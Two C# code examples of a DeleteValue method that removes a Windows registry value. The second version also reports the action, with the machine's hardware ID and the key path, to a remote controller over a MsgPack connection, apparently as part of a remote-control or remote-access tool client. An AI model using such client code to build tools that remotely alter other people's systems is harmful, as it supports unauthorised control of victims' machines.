Example #1
0
        public void DeleteValue(string KeyPath, string ValueName)
        {
            string errorMsg;

            try
            {
                RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Example #2
0
        public void DeleteValue(string KeyPath, string ValueName)
        {
            string errorMsg;

            try
            {
                RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString   = "regManager";
                msgpack.ForcePathObject("Hwid").AsString      = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString   = "DeleteValue";
                msgpack.ForcePathObject("keyPath").AsString   = KeyPath;
                msgpack.ForcePathObject("ValueName").AsString = ValueName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }